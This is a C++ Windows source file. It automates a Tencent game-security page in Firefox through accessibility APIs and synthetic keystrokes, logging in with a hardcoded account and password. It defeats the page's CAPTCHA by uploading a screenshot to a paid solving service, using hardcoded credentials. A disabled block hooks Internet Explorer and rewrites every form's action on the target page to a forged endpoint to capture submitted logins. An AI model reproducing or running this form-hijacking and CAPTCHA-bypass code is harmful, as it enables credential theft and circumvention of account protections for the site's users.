// test.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "Oleacc.h"
#include
#pragma comment(lib,"comsupp.lib")
#pragma comment (lib,"OLEACC.lib")
#include "WoNiu_Interface.h"
#define __DOM__ 0
#define __IACC__ 1
BSTR char2bstr(char * asc)
{
BSTR bstr;
int nLen = MultiByteToWideChar(CP_ACP, 0, asc, strlen(asc), NULL, NULL);
bstr = SysAllocStringLen(NULL, nLen);
MultiByteToWideChar(CP_ACP, 0, asc,strlen(asc), bstr, nLen);
return bstr;
}
#if __DOM__
#include "windows.h"
#include "exdisp.h"
#include "mshtml.h"
BOOL IsReadyTarget(IWebBrowser2 *browser)
{
HRESULT hr;
VARIANT_BOOL vBool;
BSTR bstrUrl;
BOOL bRet = FALSE;
LPWSTR szTarget = L"http://gamesafe.qq.com/number_inquiry.shtml"; //这是我的本地测试页面,具体情况具体修改!
//我们需要重视站点中可见的部分
browser->get_Visible(&vBool);
if (!vBool)
return FALSE;
//获取当前URL
hr = browser->get_LocationURL(&bstrUrl);
if (hr !=S_OK || !bstrUrl)
return FALSE;
//检查URL并等待加载
if (wcsstr((LPCWSTR)bstrUrl,szTarget) !=NULL) {
do
{
browser->get_Busy(&vBool);
Sleep(1000);
} while (vBool);
bRet = TRUE;
}
SysFreeString(bstrUrl);
return bRet;
}
BOOL ReplaceForms(IHTMLDocument2 *doc)
{
HRESULT hr;
IHTMLElementCollection *forms;
IHTMLFormElement *element;
IDispatch *theform;
VARIANT vEmpty;
VARIANT vIndexForms;
LONG CountForms;
BOOL bRet = FALSE;
BSTR bstrEvil = SysAllocString(L"http://localhost/nandi.php"); //这里是我伪造的action,具体情况具体分析
//查询doc表单
hr = doc->get_forms((IHTMLElementCollection**)&forms);
if (hr != S_OK || !forms)
return FALSE;
//在doc中循环每一个表单元素
forms->get_length(&CountForms);
for (int j=0; j {
vIndexForms.lVal = j;
vIndexForms.vt = VT_I4;
hr = forms->item( vEmpty,vIndexForms,(IDispatch**)&theform);
if (hr !=S_OK || !theform)
{
continue;
}
//取得表单元素
hr = theform->QueryInterface(IID_IHTMLFormElement,
(void**)&element);
if (hr == S_OK && element)
{
//替换action的地址
hr = element->put_action(bstrEvil);
if (hr == S_OK)
{
bRet = TRUE;
}
element->Release();
}
theform->Release();
}
forms->Release();
SysFreeString(bstrEvil);
return bRet;
}
#endif
#if __IACC__
char* TCHAR2char(TCHAR* tchStr)
{
//int iLen = 2 * wcslen(tchStr);
//char* chRtn = new char[iLen + 1];
//int len = wcstombs(chRtn,tchStr, iLen + 1);
//return chRtn;
return tchStr;
}
void GetObjectName(IAccessible* child, VARIANT* varChild, char* objName, int len)
{
BSTR strTmp;
HRESULT hr = child->get_accName(*varChild, &strTmp);
if (S_OK != hr)
{
return;
}
_bstr_t str = strTmp;
char* tmp = str;
if(lstrlen(tmp) > 0)
strcpy_s(objName, MAX_PATH, tmp);
}
void GetObjectRole(IAccessible* child, VARIANT* varChild, char* objRole, int len)
{
VARIANT pvarRole;
DWORD roleId;
child->get_accRole(*varChild, &pvarRole);
if (varChild->vt != VT_I4)
{
pvarRole.vt = VT_EMPTY;
return /*E_INVALIDARG*/;
}
roleId = pvarRole.lVal;
UINT roleLength;
LPTSTR lpszRoleString;
// Get the length of the string.
roleLength = GetRoleText(roleId, NULL, 0);
// Allocate memory for the string. Add one character to
// the length you got in the previous call to make room
// for the null character.
lpszRoleString = (LPTSTR)malloc((roleLength + 1) * sizeof(TCHAR));
if (lpszRoleString != NULL)
{
// Get the string.
GetRoleText(roleId, lpszRoleString, roleLength + 1);
}
char* tmp = TCHAR2char(lpszRoleString);
strcpy_s(objRole, MAX_PATH, tmp);
free(lpszRoleString);
return /*S_OK*/;
}
void GetObjectClass(IAccessible* child, char* objClass, int len)
{
HWND htmp;
LPTSTR strClass;
strClass = (LPTSTR)malloc(MAX_PATH);
::WindowFromAccessibleObject(child, &htmp);
if (0 == ::GetClassName(htmp, strClass, MAX_PATH))
{
free(strClass);
return;
}
char* tmp = TCHAR2char(strClass);
strcpy_s(objClass, MAX_PATH, tmp);
free(strClass);
}
UINT GetObjectState(IAccessible* pacc, VARIANT* pvarChild, LPSTR lpszState, UINT cchState)
{
HRESULT hr;
VARIANT varRetVal;
*lpszState = 0;
VariantInit(&varRetVal);
hr = pacc->get_accState(*pvarChild, &varRetVal);
if (!SUCCEEDED(hr))
return(0);
DWORD dwStateBit;
int cChars = 0;
if (varRetVal.vt == VT_I4)
{
// Convert state flags to comma separated list.
for (dwStateBit = STATE_SYSTEM_UNAVAILABLE; dwStateBit < STATE_SYSTEM_ALERT_HIGH; dwStateBit <<= 1)
{
if (varRetVal.lVal & dwStateBit)
{
cChars += GetStateTextA(dwStateBit, lpszState + cChars, cchState - cChars);
*(lpszState + cChars++) = ',';
}
}
if(cChars > 1)
*(lpszState + cChars - 1) = '\0';
}
else if (varRetVal.vt == VT_BSTR)
{
WideCharToMultiByte(CP_ACP, 0, varRetVal.bstrVal, -1, lpszState,
cchState, NULL, NULL);
}
VariantClear(&varRetVal);
return(lstrlenA(lpszState));
}
BOOL Find (
IAccessible* paccParent,
LPSTR szName,
LPSTR szRole,
LPSTR szClass,
IAccessible** paccChild,
VARIANT* pvarChild)
{
HRESULT hr;
long numChildren;
unsigned long numFetched;
VARIANT varChild;
int indexCount;
IAccessible* pCAcc = NULL;
IEnumVARIANT* pEnum = NULL;
IDispatch* pDisp = NULL;
BOOL found = false;
char szObjName[MAX_PATH+1], szObjRole[MAX_PATH+1], szObjClass[MAX_PATH+1], szObjState[MAX_PATH+1];
memset(szObjName,0,MAX_PATH+1);
memset(szObjRole,0,MAX_PATH+1);
memset(szObjClass,0,MAX_PATH+1);
memset(szObjState,0,MAX_PATH+1);
//Get the IEnumVARIANT interface
hr = paccParent -> QueryInterface(IID_IEnumVARIANT, (PVOID*) & pEnum);
if(pEnum)
pEnum -> Reset();
// Get child count
paccParent -> get_accChildCount(&numChildren);
for(indexCount = 1; indexCount <= numChildren && !found; indexCount++)
{
pCAcc = NULL;
// Get next child
if (pEnum)
hr = pEnum -> Next(1, &varChild, &numFetched);
else
{
varChild.vt = VT_I4;
varChild.lVal = indexCount;
}
// Get IDispatch interface for the child
if (varChild.vt == VT_I4)
{
pDisp = NULL;
hr = paccParent -> get_accChild(varChild, &pDisp);
}
else
pDisp = varChild.pdispVal;
// Get IAccessible interface for the child
if (pDisp)
{
hr = pDisp->QueryInterface(IID_IAccessible, (void**)&pCAcc);
hr = pDisp->Release();
}
// Get information about the child
if(pCAcc)
{
VariantInit(&varChild);
varChild.vt = VT_I4;
varChild.lVal = CHILDID_SELF;
*paccChild = pCAcc;
}
else
*paccChild = paccParent;
// Skip invisible and unavailable objects and their children
GetObjectState(*paccChild, &varChild, szObjState, sizeof(szObjState));
if(NULL != strstr(szObjState, "unavailable"))
{
if(pCAcc)
pCAcc->Release();
continue;
}
GetObjectName(*paccChild, &varChild, szObjName,MAX_PATH /*sizeof(szObjName)*/);
GetObjectRole(*paccChild, &varChild, szObjRole, MAX_PATH/*sizeof(szObjRole)*/);
GetObjectClass(*paccChild, szObjClass, MAX_PATH/*sizeof(szObjClass)*/);
if ((!szName || !strcmp(szName, szObjName)) && (!szRole || !strcmp(szRole, szObjRole)) && (!szClass || !strcmp(szClass, szObjClass)))
{
found = true;
*pvarChild = varChild;
break;
}
if(!found && pCAcc)
{
// Go deeper
found = Find(pCAcc, szName, szRole, szClass, paccChild, pvarChild);
if(*paccChild != pCAcc)
pCAcc->Release();
}
}
// Clean up
if(pEnum)
pEnum -> Release();
return found;
}
BOOL Input(char* str)
{
int len=strlen(str);
for (int i=0;len>i;i++)
{
int vk=(int)VkKeyScanEx(str[i],LoadKeyboardLayout("0000409",KLF_ACTIVATE));
if(str[i]>=65&&str[i]<=90)
{
::keybd_event(VK_SHIFT,0,0,0);
::keybd_event(vk, 0, 0, 0);
::keybd_event(vk,0,KEYEVENTF_KEYUP,0);
::keybd_event(VK_SHIFT,0,KEYEVENTF_KEYUP,0);
}
else
{
::keybd_event(vk,0,0,0);
::keybd_event(vk,0,KEYEVENTF_KEYUP,0);
}
Sleep(100);
}
return 0;
}
void MouseClick()
{
INPUT Input={0};
// left down
Input.type = INPUT_MOUSE;
Input.mi.dwFlags = MOUSEEVENTF_LEFTDOWN;
SendInput(1,&Input,sizeof(INPUT));
// left up
ZeroMemory(&Input,sizeof(INPUT));
Input.type = INPUT_MOUSE;
Input.mi.dwFlags = MOUSEEVENTF_LEFTUP;
SendInput(1,&Input,sizeof(INPUT));
}
void KeyPress(WORD vk,int iTimes )
{
__try
{
if(iTimes > 1)
{
for(int i = 0 ; i < iTimes; i++)
{
INPUT keyInput;
keyInput.type = 1;
keyInput.ki.wVk = vk;
keyInput.ki.wScan = MapVirtualKey(vk, 0);
keyInput.ki.dwExtraInfo = 0;
keyInput.ki.dwFlags = 0;
keyInput.ki.time = GetTickCount();
SendInput(1, &keyInput, sizeof(INPUT));
Sleep(100+GetTickCount()%50);
keyInput.ki.dwFlags = KEYEVENTF_KEYUP;
keyInput.ki.time = GetTickCount();
SendInput(1, &keyInput, sizeof(INPUT));
Sleep(100);
}
}
else
{
INPUT keyInput;
keyInput.type = 1;
keyInput.ki.wVk = vk;
keyInput.ki.wScan = MapVirtualKey(vk, 0);
keyInput.ki.dwExtraInfo = 0;
keyInput.ki.dwFlags = 0;
keyInput.ki.time = GetTickCount();
SendInput(1, &keyInput, sizeof(INPUT));
Sleep(100+GetTickCount()%50);
keyInput.ki.dwFlags = KEYEVENTF_KEYUP;
keyInput.ki.time = GetTickCount();
SendInput(1, &keyInput, sizeof(INPUT));
}
}
__except(1)
{
}
}
HBITMAP CopyScreenToBitmap(LPRECT lpRect) //lpRect 代表选定区域
{
HDC hScrDC, hMemDC;
// 屏幕和内存设备描述表
HBITMAP hBitmap,hOldBitmap;
// 位图句柄
int nX, nY, nX2, nY2;
// 选定区域坐标
int nWidth, nHeight;
// 位图宽度和高度
int xScrn, yScrn;
// 屏幕分辨率
// 确保选定区域不为空矩形
if (IsRectEmpty(lpRect))
return NULL;
//为屏幕创建设备描述表
hScrDC = CreateDC("DISPLAY", NULL, NULL, NULL);
//为屏幕设备描述表创建兼容的内存设备描述表
hMemDC = CreateCompatibleDC(hScrDC);
// 获得选定区域坐标
nX = lpRect->left;
nY = lpRect->top;
nX2 = lpRect->right;
nY2 = lpRect->bottom;
// 获得屏幕分辨率
xScrn = GetDeviceCaps(hScrDC, HORZRES);
yScrn = GetDeviceCaps(hScrDC, VERTRES);
//确保选定区域是可见的
if (nX < 0)
nX = 0;
if (nY < 0)
nY = 0;
if (nX2 > xScrn)
nX2 = xScrn;
if (nY2 > yScrn)
nY2 = yScrn;
nWidth = nX2 - nX;
nHeight = nY2 - nY;
// 创建一个与屏幕设备描述表兼容的位图
hBitmap=CreateCompatibleBitmap(hScrDC,nWidth,nHeight);
// 把新位图选到内存设备描述表中
hOldBitmap=(HBITMAP)SelectObject(hMemDC,hBitmap);
// 把屏幕设备描述表拷贝到内存设备描述表中
BitBlt(hMemDC,0,0, nWidth,nHeight,hScrDC, nX, nY, SRCCOPY);
//得到屏幕位图的句柄
hBitmap=(HBITMAP)SelectObject(hMemDC,hOldBitmap);
//清除
DeleteDC(hScrDC);
DeleteDC(hMemDC);
// 返回位图句柄
return hBitmap;
}
int SaveBitmapToFile(HBITMAP hBitmap, LPSTR lpFileName) //hBitmap 为刚才的屏幕位图句柄
{ //lpFileName 为位图文件名
HDC hDC;
//设备描述表
int iBits;
//当前显示分辨率下每个像素所占字节数
WORD wBitCount;
//位图中每个像素所占字节数
//定义调色板大小, 位图中像素字节大小 , 位图文件大小 , 写入文件字节数
DWORD dwPaletteSize=0,dwBmBitsSize,dwDIBSize, dwWritten;
BITMAP Bitmap;
//位图属性结构
BITMAPFILEHEADER bmfHdr;
//位图文件头结构
BITMAPINFOHEADER bi;
//位图信息头结构
LPBITMAPINFOHEADER lpbi;
//指向位图信息头结构
HANDLE fh, hDib, hPal;
HPALETTE hOldPal=NULL;
//定义文件,分配内存句柄,调色板句柄
//计算位图文件每个像素所占字节数
hDC = CreateDC("DISPLAY",NULL,NULL,NULL);
iBits = GetDeviceCaps(hDC, BITSPIXEL) *
GetDeviceCaps(hDC, PLANES);
DeleteDC(hDC);
if (iBits <= 1)
wBitCount = 1;
else if (iBits <= 4)
wBitCount = 4;
else if (iBits <= 8)
wBitCount = 8;
else if (iBits <= 24)
wBitCount = 24;
else
wBitCount = 32;
//计算调色板大小
if (wBitCount <= 8)
dwPaletteSize=(1<
//设置位图信息头结构
GetObject(hBitmap, sizeof(BITMAP), (LPSTR)&Bitmap);
bi.biSize = sizeof(BITMAPINFOHEADER);
bi.biWidth = Bitmap.bmWidth;
bi.biHeight = Bitmap.bmHeight;
bi.biPlanes = 1;
bi.biBitCount = wBitCount;
bi.biCompression = BI_RGB;
bi.biSizeImage = 0;
bi.biXPelsPerMeter = 0;
bi.biYPelsPerMeter = 0;
bi.biClrUsed = 0;
bi.biClrImportant = 0;
dwBmBitsSize = ((Bitmap.bmWidth*wBitCount+31)/32)*4*Bitmap.bmHeight;
//为位图内容分配内存
/*xxxxxxxx计算位图大小分解一下(解释一下上面的语句)xxxxxxxxxxxxxxxxxxxx
//每个扫描行所占的字节数应该为4的整数倍,具体算法为:
int biWidth = (Bitmap.bmWidth*wBitCount) / 32;
if((Bitmap.bmWidth*wBitCount) % 32)
biWidth++; //不是整数倍的加1
biWidth *= 4;//到这里,计算得到的为每个扫描行的字节数。
dwBmBitsSize = biWidth * Bitmap.bmHeight;//得到大小
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx*/
hDib = GlobalAlloc(GHND,dwBmBitsSize+dwPaletteSize+sizeof(BITMAPINFOHEADER));
lpbi = (LPBITMAPINFOHEADER)GlobalLock(hDib);
*lpbi = bi;
// 处理调色板
hPal = GetStockObject(DEFAULT_PALETTE);
if (hPal)
{
hDC = ::GetDC(NULL);
hOldPal=SelectPalette(hDC,(HPALETTE)hPal,FALSE);
RealizePalette(hDC);
}
// 获取该调色板下新的像素值
GetDIBits(hDC,hBitmap,0,(UINT)Bitmap.bmHeight,(LPSTR)lpbi+sizeof(BITMAPINFOHEADER)+dwPaletteSize, (BITMAPINFO *)lpbi,DIB_RGB_COLORS);
//恢复调色板
if (hOldPal)
{
SelectPalette(hDC, hOldPal, TRUE);
RealizePalette(hDC);
::ReleaseDC(NULL, hDC);
}
//创建位图文件
fh=CreateFile(lpFileName, GENERIC_WRITE,0, NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL);
if (fh==INVALID_HANDLE_VALUE)
return FALSE;
// 设置位图文件头
bmfHdr.bfType = 0x4D42; // "BM"
dwDIBSize=sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+dwPaletteSize+dwBmBitsSize;
bmfHdr.bfSize = dwDIBSize;
bmfHdr.bfReserved1 = 0;
bmfHdr.bfReserved2 = 0;
bmfHdr.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER)+(DWORD)sizeof(BITMAPINFOHEADER)+dwPaletteSize;
// 写入位图文件头
WriteFile(fh, (LPSTR)&bmfHdr, sizeof(BITMAPFILEHEADER), &dwWritten, NULL);
// 写入位图文件其余内容
WriteFile(fh, (LPSTR)lpbi, sizeof(BITMAPINFOHEADER)+dwPaletteSize+dwBmBitsSize , &dwWritten, NULL);
//清除
GlobalUnlock(hDib);
GlobalFree(hDib);
CloseHandle(fh);
return TRUE;
}
#endif
int _tmain(int argc, _TCHAR* argv[])
{
#if __DOM__
HRESULT hr;
IShellWindows *shell;
IDispatch *folder;
IDispatch *html;
IWebBrowser2 *browser;
IHTMLDocument2 *doc;
LONG Count;
VARIANT vIndex;
BOOL bDone = FALSE;
CoInitialize(NULL);
DWORD dwFlags = CLSCTX_REMOTE_SERVER|
CLSCTX_LOCAL_SERVER|
CLSCTX_INPROC_HANDLER|
CLSCTX_INPROC_SERVER;
//等待用户访问目标页面
while(1)
{
//激活IShellWindows接口
hr = CoCreateInstance(CLSID_ShellWindows,
NULL,dwFlags,
IID_IShellWindows, (void **)&shell);
if(hr != S_OK)
{
printf("CoCreateInstance failed:0x%x!\n",hr);
break;
}
//遍历循环所有存在的IE窗口
shell->get_Count(&Count);
for(int i=0; i < Count;i++)
{
vIndex.vt = VT_I4;
vIndex.lVal = i;
hr = shell->Item(vIndex, (IDispatch **)&folder);
if (hr !=S_OK || !folder)
{
continue;
}
//尝试激活IWebBrowser2接口
hr = folder->QueryInterface(IID_IWebBrowser2,
(void **)&browser);
if (hr !=S_OK || !browser)
{
folder->Release();
continue;
}
//当用户访问目标页面,等待页面加载完成,从浏览器提取IHTMLDocument接口,然后尝试进行注入HTML
if (IsReadyTarget(browser))
{
hr = browser->get_Document((IDispatch**)&html);
if (hr == S_OK && html)
{
hr = html->QueryInterface(IID_IHTMLDocument2,
(void**)&doc);
if (hr == S_OK && doc)
{
bDone = ReplaceForms(doc);
doc->Release();
}
html->Release();
}
}
browser->Release();
}
shell->Release();
//如果成功,结束循环
if(bDone)
break;
Sleep(1000);
}
CoUninitialize();
#endif
#if __IACC__
CWoNiu_Interface objWoNiu_Interface;
objWoNiu_Interface.WoNiu_SoftInit("669");
objWoNiu_Interface.WoNiu_UserInit("leitingzhanshen","capslock");
HWND hWnd;
hWnd = GetConsoleWindow();
if(hWnd) ::SendMessage(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
CoInitialize(NULL);
BOOL bRet = FALSE;
HWND hWndMainWindow;
IAccessible *paccMainWindow = NULL;
IAccessible* paccControl = NULL;
VARIANT varControl;
//得到标题为"运行"的窗口的句柄
if(NULL == (hWndMainWindow = FindWindowA( "MozillaWindowClass" , "安全中心-腾讯游戏 - Mozilla Firefox" )))
{
MessageBoxA(NULL, "没有发现窗口!", "错误", MB_OK);
}
else
{
//用户登录,账号密码登录,账号,密码, 登录, 验证码图,验证码输入,验证按钮,游戏选择框,查询按钮,冻结时间,账号正常登录状态,退出按钮
POINT poArr[13] = {{1169,530},{939,631},{793,445},{710,506},{756,575},{758,391},{811,393},{880,441},{444,628},{615,623},{846,746},{675,742},{1248,627}};
POINT mousePos;
char szName[MAX_PATH];
char szRole[MAX_PATH];
BSTR bVal;
for(int i = 0 ; i < 13; i++)
{
mousePos = poArr[i];
if(AccessibleObjectFromPoint(mousePos, &paccControl, &varControl) == S_OK)
{
GetObjectName(paccControl,&varControl,szName,sizeof(szName));
if(i == 0)
{
if(lstrcmp(szName,"用户登录") == 0)
{
paccControl->accDoDefaultAction(varControl);
Sleep(1000);
paccControl->Release();
VariantClear(&varControl);
}
}
if(i == 1)
{
if(lstrcmp(szName,"帐号密码登录") == 0)
{
paccControl->accDoDefaultAction(varControl);
Sleep(1000);
paccControl->Release();
VariantClear(&varControl);
}
}
if(i == 2)
{
GetObjectRole(paccControl,&varControl,szRole,sizeof(szRole));
if(lstrcmp(szRole,"可编辑文本")== 0)
{
WindowFromAccessibleObject(paccControl,&hWnd);
if(hWnd)
{
SetForegroundWindow(hWnd);
SetFocus(hWnd);
SetCapture(hWnd);
}
Sleep(500);
paccControl->accDoDefaultAction(varControl);
paccControl->get_accValue(varControl,&bVal);
if(bVal)
{
//
KeyPress(VK_BACK,wcslen(bVal));
}
Input("391136515");
paccControl->Release();
VariantClear(&varControl);
MouseClick();
ReleaseCapture();
}
}
if(i == 3)
{
if(lstrcmp(szName,"密码") == 0)
{
WindowFromAccessibleObject(paccControl,&hWnd);
if(hWnd)
{
SetForegroundWindow(hWnd);
SetFocus(hWnd);
SetCapture(hWnd);
}
Sleep(1000);
paccControl->accDoDefaultAction(varControl);
paccControl->get_accValue(varControl,&bVal);
if(bVal)
{
KeyPress(VK_BACK,wcslen(bVal));
}
Input("capslock");
paccControl->Release();
VariantClear(&varControl);
MouseClick();
ReleaseCapture();
}
}
if(i == 4)
{
if (lstrcmp(szName,"登 录") == 0)
{
paccControl->accDoDefaultAction(varControl);
paccControl->Release();
VariantClear(&varControl);
Sleep(2000);
}
}
//验证码变化的话,这里要加个事件
if(i == 5)
{
GetObjectRole(paccControl,&varControl,szRole,sizeof(szRole));
if(lstrcmp(szRole,"图形")== 0)
{
RECT rc;
long x,y,width,height;
paccControl->accLocation(&x,&y,&width,&height,varControl);
rc.left = x;
rc.right = x+width;
rc.top = y;
rc.bottom = y + height;
HBITMAP hMap = CopyScreenToBitmap(&rc);
SaveBitmapToFile(hMap,"c:\\1.bmp");
paccControl->Release();
VariantClear(&varControl);
}
}
//输入验证码
if(i == 6)
{
if(lstrcmp(szName,"请输入验证码") == 0)
{
string result = "";
objWoNiu_Interface.WoNiu_UploadPicByLocal("c:\\1.bmp",result);
char szYanZheng[5] = {0};
memcpy(szYanZheng,result.c_str(),4);
WindowFromAccessibleObject(paccControl,&hWnd);
if(hWnd)
{
SetForegroundWindow(hWnd);
SetFocus(hWnd);
SetCapture(hWnd);
}
paccControl->accDoDefaultAction(varControl);
Input(szYanZheng);
Sleep(1000);
paccControl->Release();
VariantClear(&varControl);
ReleaseCapture();
DeleteFile("c:\\1.bmp");
}
}
//验证提交
if(i == 7)
{
if(lstrcmp(szName,"验证") == 0)
{
paccControl->accDoDefaultAction(varControl);
Sleep(1000);
paccControl->Release();
VariantClear(&varControl);
}
}
if(i == 8)
{
GetObjectRole(paccControl,&varControl,szRole,sizeof(szRole));
if(lstrcmp(szRole,"可编辑文本")== 0)
{
WindowFromAccessibleObject(paccControl,&hWnd);
if(hWnd)
{
SetForegroundWindow(hWnd);
SetFocus(hWnd);
SetCapture(hWnd);
}
Sleep(500);
paccControl->accDoDefaultAction(varControl);
Input("d");
Sleep(500);
SetCursorPos(mousePos.x,mousePos.y+50);
MouseClick();
paccControl->Release();
VariantClear(&varControl);
ReleaseCapture();
Sleep(1000);
}
}
if(i == 9)
{
if(lstrcmp(szName,"查询") == 0)
{
paccControl->accDoDefaultAction(varControl);
Sleep(1000);
paccControl->Release();
VariantClear(&varControl);
}
}
//获取冻结时间
if(i == 10)
{
if(lstrcmp(szName,"冻结时间") == 0)
{
paccControl->Release();
VariantClear(&varControl);
mousePos.y = mousePos.y + 30;
if(AccessibleObjectFromPoint(mousePos, &paccControl, &varControl) == S_OK)
{
GetObjectName(paccControl,&varControl,szName,sizeof(szName));
printf(szName);
printf("\n");
getchar();
paccControl->Release();
VariantClear(&varControl);
}
}
}
if(i == 11)
{
if(lstrcmp(szName,"该帐号当前可正常登录") == 0)
{
printf(szName);
printf("\n");
getchar();
paccControl->Release();
VariantClear(&varControl);
}
}
if(i == 12)
{
if(lstrcmp(szName,"退出") == 0)
{
paccControl->accDoDefaultAction(varControl);
Sleep(1000);
paccControl->Release();
VariantClear(&varControl);
}
}
}
}
if(paccMainWindow)
paccMainWindow->Release();
}
CoUninitialize();
#endif
return 0;
}